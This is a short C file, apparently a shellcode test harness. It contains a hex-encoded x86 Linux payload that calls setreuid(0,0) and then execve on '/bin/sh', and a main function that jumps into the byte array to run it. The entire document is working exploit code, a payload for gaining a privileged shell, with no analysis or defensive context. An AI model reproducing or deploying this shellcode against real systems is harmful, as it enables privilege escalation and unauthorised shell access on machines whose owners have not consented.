shellcode.c

char code[] = "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb"\
	      "\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89"\
	      "\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd"\
	      "\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f"\
	      "\x73\x68\x4e\x41\x41\x41\x41\x42\x42\x42\x42";
int main(int argc, char **argv)
{
  int (*func)();
  func = (int (*)()) code;
  (int)(*func)();
}